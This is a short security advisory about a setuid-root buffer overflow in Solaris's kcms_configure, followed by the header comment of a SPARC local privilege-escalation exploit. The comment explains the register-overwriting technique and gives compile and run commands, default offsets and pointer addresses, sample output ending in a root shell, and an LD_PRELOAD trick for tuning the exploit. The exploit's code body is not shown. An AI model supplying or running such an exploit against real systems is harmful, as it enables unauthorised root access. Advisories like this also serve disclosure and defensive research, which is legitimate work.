The Kodak Color Management System, or KCMS, is a package that ships with workstation installations of Solaris 7 and 8. kcms_configure, a part of KCMS, is vulnerable to a buffer overflow if it is passed an overly long string on the command-line by a local user. kcms_configure is installed setuid root, so a buffer overflow can lead to arbitrary code execution as root.
An exploit for x86 Solaris is available to attackers.
/* kcms_configure -o -S command line buffer overflow, SPARC/solaris 8
*
* https://www.securityfocus.com/bid/2558
*
* Coded June 22, 2002 by Adam Slattery. Phear. The vulnerability
* was discovered a long time ago (04/2001), but there haven't been
* any published sparc exploits as far as I know (only x86).
*
* Adam Slattery <aslattery@sunriselinux.com>
*
* DESCRIPTION:
*
* The i386/solaris 8 exploit by eEye (Riley Hassell) was trivial. A
* sparc version is somewhat more complicated, but not daunting. Because
* of the location of the overflow in the program, quite a bit of code
* gets executed before the second return (which is the jump to
* shellcode in a sparc overflow). Some of this code relies on the
* registers being set, and we're overwriting the saved registers
* when we overflow the stack buffer. To remedy this situation we
* need to overflow the stack very carefully because in the process
* of overwriting the saved i7 register (return address), we overwrite
* the l0-07 and i0-i6 [fp] registers. The code that gets executed before
* the second return makes use of a few of these overwritten registers.
* So... we overwrite these saved registers with a "good" address that
* points to a pointer, so pretty much any code using values in the
* registers won't try to access illegal memory and cause a seg fault.
* It may sound sketchy, but it works.
*
* USAGE:
*
* gcc kcms_sparc.c -o kcms_sparc
* ./kcms_sparc [offset] [ptr addr]
*
* $ ./kcms_sparc
* ret address: 0xffbee4f8 [3036] ptr address: 0xffbeecf8 buflen: 1085
* # id
* uid=0(root) gid=100(users)
*
*
* The default offset (3036) should work. 4800 also works. Read the note
* by the address calculations to see why (there are 2 buffers). Even
* though it's a 1024 byte buffer, there aren't too many nops left in
* the second buffer when everything is set so if you have to search
* for the offet by hand, use increments of 64.
* The [ptr addr] is an address in memory that points to a pointer.
* This is loaded into some of the registers that get used before the
* program jumps into shell code. If the default (0xffbeecf8) doesn't
* work you, you probably won't be able to make a guess, so you'll
* have to whip out gdb. If you don't have r00t (most likely), you'll
* have to use a copy (non-suid) of kcms_configure and LD_PRELOAD a lib
* to return 0 for geteuid/getegid (so it wonn't detect it's not uid 0).
*
